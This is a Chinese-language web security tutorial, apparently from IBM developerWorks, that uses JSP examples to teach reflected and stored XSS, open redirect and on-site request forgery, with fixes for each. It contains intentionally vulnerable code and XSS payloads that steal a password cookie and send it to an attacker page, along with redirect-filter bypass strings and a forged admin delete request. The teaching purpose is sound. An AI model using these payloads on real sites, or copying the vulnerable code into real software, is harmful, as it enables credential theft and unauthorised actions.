原文連結:http://www.ibm.com/developerworks/cn/web/1012_weiqiang_webattack/
簡介: Web 安全問題,很多時候會被程式員所忽略,因為他們相信會有專業的營運人員或者安全服務團隊協助他們尋找漏洞,並且指導他們修改這些漏洞。而對於小公司,沒有這樣專業的人員又怎麼辦呢。安全性漏洞造成了很多不必要的維護和開發工作單位,產生的問題有時候更是致命的。實際上,只要程式員養成一些習慣,知道一些安全問題的基本原理,可以很大程度避免問題的出現,這也是一個優秀 Web 程式員的必備素質。本文用實際的 JSP 程式例子,講解了 Web 安全問題的類型和其出現的原因,講解基本解決方案,協助 Web 程式員改善編程習慣。
註:本文所有的例子雖然基於 JSP/Servlet 技術開發,但是漏洞和解決方案的原理適用於其他 Web 技術。
Web 安全現狀
Web 安全現狀不容樂觀,近幾年也存在 Web 攻擊的重大實際案例,比如資訊產業部官方報紙《中國電子報》網站被黑、大學生網路銀行盜 竊案等。另據調查顯示,目前網站常見攻擊手段中,SQL 注入、XSS 和跨站指令碼攻擊佔了很大部分。攻擊者往往沒有明確的目的性,有些攻擊並不能帶給他們利益,只是出於初學的好奇和攻擊成功的成就感,也就是說許多攻擊由於初學者引起的。實際上,像很多初學駭客的攻擊都可以被防禦,只要我們瞭解其基本原理,就可以應付許多菜鳥駭客的攻擊,減少營運費用。所以文章再一次強調 Web 程式員需要注意編程習慣,儘力保證網站的安全。
實戰
文章從實際的 JSP 例子出發,儘力解釋安全問題產生的原因。這些例子代碼是本人初學 JSP,也是許多人在開始學習 JSP 時容易編寫的問題代碼。代碼看起來並沒有什麼問題,但是往往存在巨大的漏洞。例子雖然簡單,卻很能說明問題。文章將用 6 個例子,分別講述 6 種 Web 攻擊手段及原理,以及程式員需要從哪些方便進行防禦。可以從圖片介紹中查看效果。講解 6 種 Web 漏洞的順序如下表,讀者也可以選擇感興趣的部分點擊查看。
· 反射型 XSS 漏洞
· 儲存型 XSS 漏洞
· 重新導向漏洞
· 本網站請求漏洞
· 跨網站請求漏洞
· SQL 注入漏洞
。
問題代碼 --- 反射型 XSS 漏洞
反射型 XSS 漏洞是一種非常常見的 Web 漏洞,原因是由於程式動態顯示了使用者提交的內容,而沒有對顯示的內容進行驗證限制。因此這就讓攻擊者可以將內容設計為一種攻擊指令碼,並且引誘受害者將此攻擊指令碼作為內容顯示,而實際上攻擊指令碼在受害者開啟時就開始執行,以此盜用受害者資訊。
例子是動態顯示錯誤資訊的程式,錯誤資訊可以在 URL 中傳遞,顯示時伺服器不加任何限制,符合反射型 XSS 攻擊的條件。
清單 1. index.jsp 主要代碼
<form action="ReflectXSSServer" method="post">
使用者名稱:<input type="text" name="username" value=""/><br>
密 碼:<input type="password" name="password" value=""/><br>
<input type="submit" value="提交"/>
</form>
清單 2. ReflectXSSServe.java 主要代碼
String username = request.getParameter("username");
String password = request.getParameter("password");
// 添加使用者資訊到 Cookie,方便下次自動登入
addToCookie(“username”, username);
addToCookie(“password”, password);
request.getRequestDispatcher("
error.jsp?error=password is wrong!").forward(request, response);
清單 3. error.jsp 主要代碼
Error Message :<%=request.getParameter("error")%>
index.jsp 作為使用者登入介面,提交登入請求給 ReflectXSSServe.java。ReflectXSSServe.java 處理登入請求,將使用者名稱和密碼記錄到 cookie,方便使用者下次登入。如果登入資訊錯誤 ( 例子代碼直接認為錯誤 ),就會跳轉到 error.jsp,顯示錯誤資訊,錯誤資訊是通過名為 error 的參數傳遞。
問題分析
代碼很簡單,似乎也很合邏輯,但是這個程式暴露出一個嚴重的問題就是錯誤資訊是通過參數傳遞,並且沒有經過任何處理就顯示。如果被攻擊者知道存在這樣一個 error.jsp,攻擊者就可以很容易的攻擊使用者並且獲得使用者的重要訊息。
攻擊此程式
可以設計這樣一個 URL:http://localhost:8080/application/error.jsp?error=<script>var mess = document.cookie.match(new%20RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="%2Bmess</script>。這看起來有點複雜,讓我們分析一下。http://localhost:8080/application/error.jsp?error= 這一部分,是 error.jsp 的地址,我們主要關心後面的錯誤資訊內容,這是一段 javascript 指令碼,document.cookie.match(new%20RegExp("password=([^;]*)"))[0],這樣一句話,是為了獲得 cookie 中名為 password 的值。然後,通過 window.location 重新導向到攻擊者的網站,並且把 password 作為參數傳遞過去,這樣,攻擊者就知道你的密碼了。後面,只需要讓被攻擊者登入後點擊這個 URL 就可以了。
為了讓被攻擊者可以點擊這個 URL,攻擊者往往會構建能夠吸引被攻擊者的網頁,或者郵件,這個做法有個形象的稱呼:釣魚攻擊。當被攻擊者登入應用系統後,cookie 就儲存了使用者名稱和密碼資訊。由於設計的 URL 的主體是收信任的網站,被攻擊者往往毫不猶豫的點擊攻擊者設計的 URL,那麼設計好的 script 指令碼被當做資訊內容嵌入到 error.jsp 中時,就會作為指令碼開始執行,使用者名稱和密碼也就被人盜取了。
圖 1. 使用者登入介面
使用者輸入使用者名稱和密碼分別為 user 和 pass,登入後受到釣魚攻擊,點擊了攻擊者設計的 URL。
圖 2. 誘使使用者點擊 URL
攻擊者設計的 URL 包含攻擊指令碼,攻擊指令碼執行後,password 的內容被傳到另一個網站,這個應用程式是 attacter(附件中也會包含),password 資訊被記錄到攻擊者的資料庫。
圖 3. 攻擊成功介面
解決方案
盡量避免直接顯示使用者提交的資料,應進行一定的過濾,比如對於資料中存在的 < 和 > 等符號需要進行編碼,這樣就可以防止指令碼攻擊。
問題代碼 --- 儲存型 XSS 漏洞
儲存型 XSS 漏洞的危害會更大,它是將攻擊指令碼儲存到被攻擊的網頁內,所有瀏覽該網頁的使用者都要執行這段攻擊指令碼。
這個例子,模仿了一個論壇發表評論的網頁。對於使用者的評論,系統不加任何限制和驗證,直接儲存到伺服器的資料庫中(例子使用全域對象代替資料庫,作為例子示範)。並且當有其他使用者查看網頁時,顯示所有評論。
清單 4. saveXSS.jsp 主要代碼
<jsp:useBean id="tl" scope="application" class="java.util.LinkedList"></jsp:useBean>
<%
String topic = (String)request.getParameter("topic");
if (topic != null && !topic.equals(""))
{
tl.add(topic);
}
%>
<div>
<% for(Object obj : tl)
{
String str = (String)obj;
%>
<div><%=str%><div/>
<% } %>
</div>
<form action="saveXSS.jsp" method="post">
評論:<input type="text" name="topic"/><br>
<input type="submit" value="提交"/>
</form>
這裡用了一個應用級的 List 對象存放評論列表,只是為了示範方便。使用者可以在 form 中編寫評論內容,提交到同一頁面 saveXSS.jsp,提交以後,List 對象增加這個評論,並且顯示出來。
問題分析
這個程式符合了儲存型 XSS 攻擊的所有條件,沒有限制評論內容,程式會儲存所有評論,顯示給查看網頁的使用者。只要攻擊者將攻擊指令碼作為評論內容,那麼所有查看評論的使用者都將執行這段攻擊指令碼而受到攻擊。
攻擊此程式
攻擊這個程式所需要設計的攻擊指令碼和上文的錯誤顯示內容一樣,但是需要注意的是這次不需要編碼,%20 改為空白格,而 %2B 則變為 +,原因是上例是通過 URL 傳遞資料,而本例是直接通過表單傳遞資料,攻擊指令碼:<script>var mess = document.cookie.match(new RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="+mess</script>,將這個內容作為評論發表,那麼當其他使用者查看這個網頁時,攻擊指令碼代碼被當做內容嵌入到網頁中,攻擊指令碼就被觸發執行,使用者就會受到攻擊,指令碼執行過程和反射型 XSS 攻擊一致。
圖 4. 評論介面
發表的內容是攻擊者設計的一個攻擊指令碼,這個指令碼被直接儲存到了網頁中。任何查看此頁面的其他使用者,他們的資訊都會被盜取。
圖 5. 提交攻擊指令碼
>解決方案
對於儲存型 XSS 漏洞,由於我們無可避免的需要顯示使用者提交的資料,所以過濾是必然的,過濾 < 和 > 等符號可以避免上述漏洞的發生。
問題代碼 --- 重新導向漏洞
如果應用程式提取使用者可控制的輸入,並使用這個資料執行一個重新導向,指示使用者的瀏覽器訪問一個不同於使用者要求的 URL,那麼就會造成重新導向漏洞。
例子允許使用者輸入一個重新導向路徑,由伺服器執行跳轉。
清單 5. index.jsp 主要代碼
<form action="Redirect">
地址:<input name="target" type="text"><br>
<input type="submit" value="提交">
</form>
清單 6. Redirect.java 主要代碼
String param = request.getParameter("target");
if (param != null && !param.equals(""))
{
response.sendRedirect(param);
}
使用者在 index.jsp 的表單中輸入跳轉的路徑,伺服器端的 Redirect.java 執行 sendRedirect 重新導向。
問題分析
程式允許讓使用者佈建重新導向地址,而並沒對地址內容進行驗證處理,而是直接跳轉,那麼攻擊者完全可以設計一個攻擊 URL,其中包含攻擊者設計的攻擊內容,使用釣魚攻擊,誘使使用者點擊此 URL,受到攻擊。
攻擊此程式
設計 URL:http://www.baidu.com,這裡只是以跳轉作為例子,並沒有構建真正有害的網站,所以使用普通地址作為示範,假設這個地址有許多有害資訊。其中 http:// 頭部非常重要,它可以讓伺服器執行絕對跳轉,跳轉到 www.baidu.com。如果沒有 http:// 就會跳轉到系統的相對路徑。
圖 6. 輸入路徑
點擊提交,網頁就會跳轉到百度介面。
有人試圖這樣處理跳轉路徑 param:param = param.replaceFirst("http://", ""); 將第一個 http:// 替換為空白字串,認為這樣可以解決問題,但是攻擊者往往也很聰明,他會將 URL 改為 : http://http://, 即使替換了第一個,第二天 http:// 就會生效。那麼如果對 param 這麼處理呢:param = param.replaceAll("http://", ""); 將所有的 http:// 都替換,那麼攻擊者可以將 URL 設計為 hthttp://tp://,將中間的 http:// 替換為空白後,ht 和 tp:// 組合又變為 http://,攻擊又一次生效 , 因此,我們需要一個更加全面的考慮。
解決方案
避免由使用者決定跳轉的頁面,如果必須這麼做,路徑中只允許出現 /以及 數字或者 英文字元可以一定程度的避免這個問題。
問題代碼 --- 本網站請求漏洞
本網站請求偽造(on-site request forgery,OSRF)是一種利用儲存型 XSS 漏洞的常見攻擊有效載荷。是攻擊者設計攻擊代碼,儲存到被攻擊網頁上,當普通使用者或者管理員查看頁面時,攻擊代碼就會執行,此攻擊代碼的目的是偽裝成查看網頁的使用者向伺服器發出請求。
這是一個發布映像的論壇例子,使用者可以輸入映像 URL,論壇負責讀取此 URL 進行顯示。
img.jsp 與前文的 saveXSS.jsp 代碼相同,只是這次顯示不再是字串,而是需要將
<div><%=str%><div/> 改為 <div><img src=<%=str%> width=50 height=50/><div/>,目的是顯示使用者上傳的映像。
清單 7. admin.jsp 主要代碼
<%
String username = (String)request.getParameter("username");
System.out.println("delete " + username);
%>
<%=username%>
admin.jsp 是管理員用於刪除使用者的請求處理常式,admin.jsp 實際上應該會判斷是否是管理員賬戶,如果是才允許執行刪除使用者的操作。本文例子假設請求的確為管理員發出。
問題分析
這個程式明顯存在著儲存型 XSS 漏洞,並且上傳的內容被作為映像 URL,img 標籤是本網站請求漏洞的敲門器,因為 img 始終會執行 src 屬性的 URL 請求,而不管 src 指向的是否是真正的映像。這個程式並沒有對 src 是否是圖片地址進行驗證,因此可以偽造請求。
攻擊此程式
將上傳的映像 URL 設計為:admin.jsp? username=hello,提交上去後,從攻擊者的角度看,只是圖片沒有顯示,因為攻擊者並不是管理員,所以實際上無法刪除 hello 這個使用者。但是當管理員開啟這個頁面時,img 標籤就會執行 admin.jsp? username=hello 的請求,請求刪除 hello 使用者,由於的確是管理員發出的請求,伺服器執行刪除操作,刪除了 hello 使用者,攻擊者的目的也就達到了。
圖 7. 輸入攻擊 URL
圖 8. 攻擊者提交 URL
攻擊者點擊提交,自身並沒有什麼影響,只是圖片沒有顯示。然而,當管理員登陸後,admin.jsp 中刪除 user 的操作就會執行,例子中是列印刪除訊息到控制台。